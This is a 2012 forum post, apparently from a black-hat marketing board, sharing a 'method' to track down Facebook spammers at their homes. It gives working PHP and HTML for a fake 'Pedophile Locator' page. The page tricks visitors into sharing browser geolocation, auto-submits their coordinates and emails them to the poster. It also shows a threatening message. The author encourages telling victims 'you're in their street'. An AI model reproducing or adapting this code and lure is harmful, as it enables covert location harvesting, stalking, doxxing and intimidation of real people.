1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[METHOD] Tracking Down E-Whores and other A-Holes

Discussion in 'BlackHat Lounge' started by codo3500, Jun 14, 2012.

  1. codo3500

    codo3500 Regular Member

    Joined:
    Dec 19, 2010
    Messages:
    335
    Likes Received:
    169
    Hey guys,

    Let's just this out of the way - I'm a very vengeful person. When I get hit with 50 spam messages in a day, I take it personally.

    Today I copped an e-whore on Facebook. I'm sick of them, seriously. Anyway, I decided, wouldn't it be funny to track them down, to their house, and just let them know that I know where they are .etc.

    Disclaimer: Don't do anything stupid with the information you get from this. I do it purely for Lolz. I'm not responsible if you do anything stupid or dangerous with this info, or even if you break any damn laws.

    Anyway, I made a method, where by getting someone to click on your link, you'll be able to find out exactly where they are. It's crude, and could be designed better, adapted .etc, but I didn't want to spend more than 10 minutes on this damn thing.

    How it works:
    - You convince them to click the link. I tell them it's a funny link that shows all of the pedophiles around you are on a map. People are intrigued by this shit.
    - They go to the page, and it'll do the typical "Share Location" thing in the browser. This works on Facebook iPhone App .etc too. Because they're already expecting the page to need to know where they are because it's going to show them 'the pedophiles' they'll just click it and move on.
    - You get emailed their exact location, longitude and latitude, down to the exact house they're in (for me it did anyway). Drop this in Google Maps and you'll know exactly where they are.

    The Code:
    This part is "pedomap.php" or whatever you want to call it. Drop it in the base folder of the domain you're using, or wherever you like.
    PHP:
    <!doctype html>
    <
    html lang="en">
    <
    head>
        <
    title>Pedo Finder</title>
        <
    meta charset="utf-8" />
        <
    script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js"></script>
    </head>
    <body>
        <h1>Pedophile Locator</h1>
        <p>
            Find out where all of the pedophiles are located near you. Please note that this information is up-to-date as far as we know, but we have no way of being certain.
        </p>
        <p>
            Step 1:<br/>
            <form method="POST" action="sendmail.php">
                <input id="location" type="text" name="location">
                <input id="sucker" type="SUBMIT" name="Go" value="Go">
            </form>
        </p>
        <p>
            Step 2: When prompted, allow your location to be shared to see Geolocation in action
        </p>
        <div id="mapDiv" style="position: relative; width: 800px; height: 600px;"></div>
        <script type="text/javascript" src="http://ecn.dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=7.0"></script>
        <script type="text/javascript">
            var map = null;
            function GetMap() {
                /* Replace YOUR_BING_MAPS_KEY with your own credentials.
                Obtain a key by signing up for a developer account at
                http://www.microsoft.com/maps/developers/ */
            var cred = "YOUR_BING_MAPS_KEY";
            // Initialize map
            map = new Microsoft.Maps.Map(document.getElementById("mapDiv"),
               { credentials: cred });
            // Check if browser supports geolocation
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition(locateSuccess, locateFail); 
            }
            else {
                alert('I\'m sorry, but Geolocation is not supported in your current browser.');
            }
        }
        // Successful geolocation
        function locateSuccess(loc) {
            // Set the user's location
            var userLocation = new Microsoft.Maps.Location(loc.coords.latitude, loc.coords.longitude);
            
            //alert(userLocation);
            $('#location').val(userLocation);
            $('#sucker').click();
            // Zoom in on user's location on map
            map.setView({ center: userLocation, zoom: 17 });
            // Draw circle of area where user is located
            var locationArea = drawCircle(userLocation);
            map.entities.push(locationArea);
            
            //$('#location').val(userLocation);
            
        }
        // Unsuccessful geolocation
        function locateFail(geoPositionError) {
            switch (geoPositionError.code) {
                case 0: // UNKNOWN_ERROR
                    alert('An unknown error occurred, sorry');
                    break;
                case 1: // PERMISSION_DENIED
                    alert('Permission to use Geolocation was denied');
                    break;
                case 2: // POSITION_UNAVAILABLE
                    alert('Couldn\'t find you...');
                    break;
                case 3: // TIMEOUT
                    alert('The Geolocation request took too long and timed out');
                    break;
                default:
            }
        }
        
        GetMap();

      </script>
    </body>
    </html>
    This part needs to be called "sendmail.php", you need to drop in your email address. You can also put your ending message that they'll see.
    PHP:
    <?php
     $to 
    "myemail@hotmail.com";
     
    $subject "Hi!";
    $body $HTTP_POST_VARS[location];
     if (
    mail($to$subject$body)) {
       echo(
    "<p>You just got found. I'm gonna get you (srsly) and when I do, I'm going to jam a pineapple up your ass</p>");
      } else {
       echo(
    "<p>Message delivery failed...</p>");
      }
     
    ?>
    Use at your own risk, have some fun. I find it really funny to tell them you're in their street .etc. It's quite easy to work out other details once you know where they live too.
     
    • Thanks Thanks x 1